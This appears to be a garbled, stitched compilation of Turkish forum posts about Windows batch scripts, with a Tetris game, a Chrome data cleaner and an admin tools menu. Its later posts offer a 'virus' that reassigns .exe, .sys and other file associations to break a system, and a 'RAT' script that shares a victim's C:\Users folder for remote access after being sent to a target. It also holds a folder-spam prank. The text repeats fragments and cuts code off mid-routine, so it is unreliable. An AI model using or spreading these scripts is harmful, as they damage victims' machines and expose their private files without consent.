Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof
:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof
:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:CheckL2
Echo.%Lin_1%|Find "%Bound2%">nul
If !Errorlevel! EQU 0 (Goto :Lost)
Echo.!Lin_%LimY%!|Find " ">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :Solid
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Call :Clear
Goto :CheckL2
:::::::::::::::::::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Perdiste !
Goto :End
:Win
Cls
Echo.
Echo. Tetris v 1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. Has Ganado !
Goto :End
:End
Echo. Thanks for Play
Echo. Tetris v1.2 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Goto :Menu
::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof
:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof
:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof
:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof
:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof
:Figure6
Set Figure6_Pos1=X6Y0,X7Y0,X8Y0,X6Y1
Set Figure6_Pos2=X7Y0,X8Y2,X8Y1,X8Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
title Fig:6 Pos:%R%
Goto :Eof
:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof
::_0 xx9tYjYxWvxPrXmoLjqfzpxxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxLmjjopxotx9Xmgtpxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xx
:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use arrow keys, space and X
Echo.
Echo. Left = Move Shape Left
Echo. Down = Move Shape Down
Echo. Right = Move Shape Rigth
Echo. Space = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Menu
:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°° Corp. 2010 °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
WantedKankam 2019
---------------------------------
Link :
https://forum.shiftdelete.net/threads/bat-dosyalari-ile-harikalar-yaratmak.521822/
Bu arada şunu da salayım dursun köşede. Google Chrome Tarama Verileriniz Temizleme Aracı
Biliyorum ismi çok uzun.
Kod:
@echo off
MODE 85,6
title Google Chrome Temizleme Arac
echo Ltfen bekleyin...
tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %ERRORLEVEL% EQU 0 goto choice
if %errorlevel% neq 0 goto clean
:clean
cd %homepath%\Local Settings\Application Data\Google\Chrome\User Data\Default
del archiv~1 > nul 2>&1
del archiv~2 > nul 2>&1
del curren~1 > nul 2>&1
del curren~2 > nul 2>&1
del history > nul 2>&1
del histor~1 > nul 2>&1
del histor~2 > nul 2>&1
del histor~3 > nul 2>&1
del histor~4 > nul 2>&1
del lastse~1 > nul 2>&1
del lastta~1 > nul 2>&1
del topsit~1 > nul 2>&1
del topsit~2 > nul 2>&1
del visite~1 > nul 2>&1
rd /s /q Cache > nul 2>&1
rd /s /q "Media Cache" > nul 2>&1
rd /s /q "Local Storage" > nul 2>&1
rd /s /q GPUCache > nul 2>&1
md Cache
md "Media Cache"
md "Local Storage"
md "GPUCache
del /s /q "Web Data" > nul 2>&1
del /s /q "Web Data-journal" > nul 2>&1
del /s /q "Cookies" > nul 2>&1
del /s /q "Cookies-journal" > nul 2>&1
del /s /q "Favicons" > nul 2>&1
del /s /q "Favicons-journal" > nul 2>&1
echo.
echo Google Chrome temizlendi. Bu pencereyi kapatmak i‡in herhangi bir tuŸa basn...
pause > nul
exit
:choice
echo.
CHOICE /C EH /M "Google Chrome, Ÿu anda ‡alŸyor. Program Ÿimdi sonlandrmak ister misiniz? "
if %errorlevel% equ 1 goto kill
if %errorlevel% equ 2 goto :eof
:kill
taskkill /im chrome.exe /f > nul 2>&1
PING localhost -n 2 >NUL
goto clean
Şahsen artık CCleaner kullanmıyorum ve çok işime yarıyor.
Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
---------------------------------------
Google Chrome Tarama Verileriniz Temizleme Aracı
Kod:
@echo off
MODE 85,6
title Google Chrome Temizleme Arac
echo Ltfen bekleyin...
tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %ERRORLEVEL% EQU 0 goto choice
if %errorlevel% neq 0 goto clean
:clean
cd %homepath%\Local Settings\Application Data\Google\Chrome\User Data\Default
del archiv~1 > nul 2>&1
del archiv~2 > nul 2>&1
del curren~1 > nul 2>&1
del curren~2 > nul 2>&1
del history > nul 2>&1
del histor~1 > nul 2>&1
del histor~2 > nul 2>&1
del histor~3 > nul 2>&1
del histor~4 > nul 2>&1
del lastse~1 > nul 2>&1
del lastta~1 > nul 2>&1
del topsit~1 > nul 2>&1
del topsit~2 > nul 2>&1
del visite~1 > nul 2>&1
rd /s /q Cache > nul 2>&1
rd /s /q "Media Cache" > nul 2>&1
rd /s /q "Local Storage" > nul 2>&1
rd /s /q GPUCache > nul 2>&1
md Cache
md "Media Cache"
md "Local Storage"
md "GPUCache
del /s /q "Web Data" > nul 2>&1
del /s /q "Web Data-journal" > nul 2>&1
del /s /q "Cookies" > nul 2>&1
del /s /q "Cookies-journal" > nul 2>&1
del /s /q "Favicons" > nul 2>&1
del /s /q "Favicons-journal" > nul 2>&1
echo.
echo Google Chrome temizlendi. Bu pencereyi kapatmak i‡in herhangi bir tuŸa basn...
pause > nul
exit
:choice
echo.
CHOICE /C EH /M "Google Chrome, Ÿu anda ‡alŸyor. Program Ÿimdi sonlandrmak ister misiniz? "
if %errorlevel% equ 1 goto kill
if %errorlevel% equ 2 goto :eof
:kill
taskkill /im chrome.exe /f > nul 2>&1
PING localhost -n 2 >NUL
goto clean
Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
-------------------------------------
Google Chrome Temizleme Aracı bat
https://forum.sordum.net/viewtopic.php?t=205957
https://ss64.org/viewforum.php?id=2
-------------------------------------
BAT KODU :
-------------------------------
Kod:
@echo off
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"=""
echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B
:gotAdmin
pushd "%CD%"
CD /D "%~dp0"
:--------------------------------------
:menu
cls
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
title Komut ˜stemi Ara‡lar
echo --------------------------------------------------------------------------------
echo Komut ˜stemi Ara‡lar %mydate% - %mytime%
echo --------------------------------------------------------------------------------
echo.
echo Bir ara‡ se‡in
echo ==============
echo.
echo [0] €kŸ
echo [1] Hakknda
echo [2] A§ Sorun Gidericisi
echo [3] €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo [4] Bitlocker Src Kilitleme
echo [5] Windows Update Temizleme
echo [6] Windows Update Hizmetini Durdur/BaŸlat
echo [7] Gereksiz Nvidia Dosyalarn Temizle
echo [8] IP Adresi ve A§ Yaplandrmas Bilgileri
echo [9] Ykl Srcler Listesi
echo [10] Yant Vermeyen Bir Uygulamay Sonlandr
echo [11] Sistem Bilgisi
echo [12] Yazdrma Kuyru§unu Temizle
echo [13] Windows 10 i‡in Veri Toplama ve Telemetri Hizmetleri Ayarlar
echo.
set /p "op=€alŸtr:"
if %op%==-1 goto -1
if %op%==0 exit > nul 2>&1
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
if %op%==4 goto 4
if %op%==5 goto 5
if %op%==6 goto 6
if %op%==7 goto 7
if %op%==8 goto 8
if %op%==9 goto 9
if %op%==10 goto 10
if %op%==11 goto 11
if %op%==12 goto 12
if %op%==13 goto 13
cls
goto menu
:-1
@title Tetris v 1
@mode con cols=28 lines=24
:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)
Set "Game=%0"
Call :Logo
:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg
:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"
:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main
:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic
:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof
:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof
:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof
:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof
:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof
:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof
:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof
::::::::::::::::::::::::::::::::::::::::
:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
set /a "x=%%l^5"
call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::
:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof
:Lost
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You lose!
Goto :End
:Win
Cls
Echo.
Echo. Tetris v 1 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. You win!
Goto :End
:End
Echo. Thanks for playing.
Echo. Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit
::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof
:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Kod :
------
WantedKankam 2019
---------------------------------
İLKER BABA WantedKankam 2019
Menülü .bat hazırlama Örnek Kod:
Kod:
@echo off CLS :MENU ECHO. ECHO Secim 1 ECHO Secim 2 ECHO Secim 3 ECHO Secim 4 Cikis ECHO. SET /P M=Lutfen bir secenek secin ve ENTER Tusunua basin: IF %M%==1 GOTO Code1 IF %M%==2 GOTO Code2 IF %M%==3 GOTO Code3 IF %M%==4 GOTO EOF :Code1 ECHO Secim 1 Code GOTO MENU :Code2 ECHO Secim 2 Code GOTO MENU :Code3 ECHO Secim 3 Code GOTO MENU
___________________________________________
Dosya Uzantılarını Değiştirerek Verileri Bozan Virüs
Echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=txtfile
assoc .png=txtfile
assoc .mpeg=txtfile
echo bir virüs verileri ele geçiriyor! sisteme saldırıyor!
assoc .sys=htmlfile
echo adios!
exit
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=txtfile
assoc .png=txtfile
assoc .mpeg=txtfile
echo bir virüs verileri ele geçiriyor! sisteme saldırıyor!
assoc .sys=htmlfile
echo adios!
exit
Kod:
Bu kod bazı bilgisayarlarda işe yarar ama bunu ben denedim çok tehlikelidir dikkat edin
Ama bu kodları exe=html yerine tam tersi yaparsak eski haline dönüyor 

-----------------------------------
Not defteriden rat yapma ! Batch Script(Portsuz)
Öncelikle Not Defterini Açalım Ardından Sırayla Şu Kodları girelim:
Bunları Yazdıktan Sonra Farklı Kaydet Diyip Tüm Dosyalar ve ardından .batı sonuna ekleyelim
bu programı karşıdaki kişiye atacağız.
Şimdi yapmamız gereken şunlar cmdyi açın.
net use \\hedefinipadresi\isim
explorer \\hedefinipadresi\isim
ve artık bağlandı Programcı Arkadaşlarımızı Şöyle Alalım
net share ::dosya paylaşmaya yarar
isim=C:\Users /unlimited ::isim diye bi paylaşım oluşturduk C:\Users Klasörünü Sınırsız Olarak paylaşıma açtı
Bunlar Bu kodlar Tamammen greenscreen tarafından yazılmıştır
Kod:
@echo off net share isim=C:\Users /unlimited
bu programı karşıdaki kişiye atacağız.
Şimdi yapmamız gereken şunlar cmdyi açın.
net use \\hedefinipadresi\isim
explorer \\hedefinipadresi\isim
ve artık bağlandı Programcı Arkadaşlarımızı Şöyle Alalım

net share ::dosya paylaşmaya yarar
isim=C:\Users /unlimited ::isim diye bi paylaşım oluşturduk C:\Users Klasörünü Sınırsız Olarak paylaşıma açtı
Bunlar Bu kodlar Tamammen greenscreen tarafından yazılmıştır
net share c$ /d
net share d$ /d
net share e$ /d
net share IPC$ /d
net share Users /d
net share admin$ /d
İle paylaşımları kapatabiliriz
net share d$ /d
net share e$ /d
net share IPC$ /d
net share Users /d
net share admin$ /d
İle paylaşımları kapatabiliriz

Bu RAT değildir.
RAT = Backdoor
RAT'ta paket iletip alırsın, verilen komutlara göre Client iş yapar.
Bu başka bir şey.
RAT = Backdoor
RAT'ta paket iletip alırsın, verilen komutlara göre Client iş yapar.
Bu başka bir şey.
--------------------------------------
Merhaba arkadaşlar;
yapması kolay ve zevkli bi şaka virusu göstereceğim
1- ilk önce metin belgesini açıyoruz
2- verdiğim kodu yazıyoruz
3- farklı kaydederek dosya biçimini .bat olarak kaydedin
buradaki md yeni klasör oluşturma komutudur.
yanlarındaki sayılar ise klasör adıdır sayıyı özelleştirebilirsiniz mesela isim şehir kelime vb.
virüsün amacı sadece klasör açmaktır
bunu açan kişi orda belirtilen rakam kadar klasör ile karşı karşıya kalacaktır mesela 100 tane o kod dan yazsa 100 tane klasör açılır
bunu yaparken lütfen dosya adının yani md den sonra gelen kelime veya rakamın aynı olmamasına özen gösterin
yapması kolay ve zevkli bi şaka virusu göstereceğim
1- ilk önce metin belgesini açıyoruz
2- verdiğim kodu yazıyoruz
Kod:
md 1 md 2 md 3 md 4 md 5 md 6 md 7 md ...
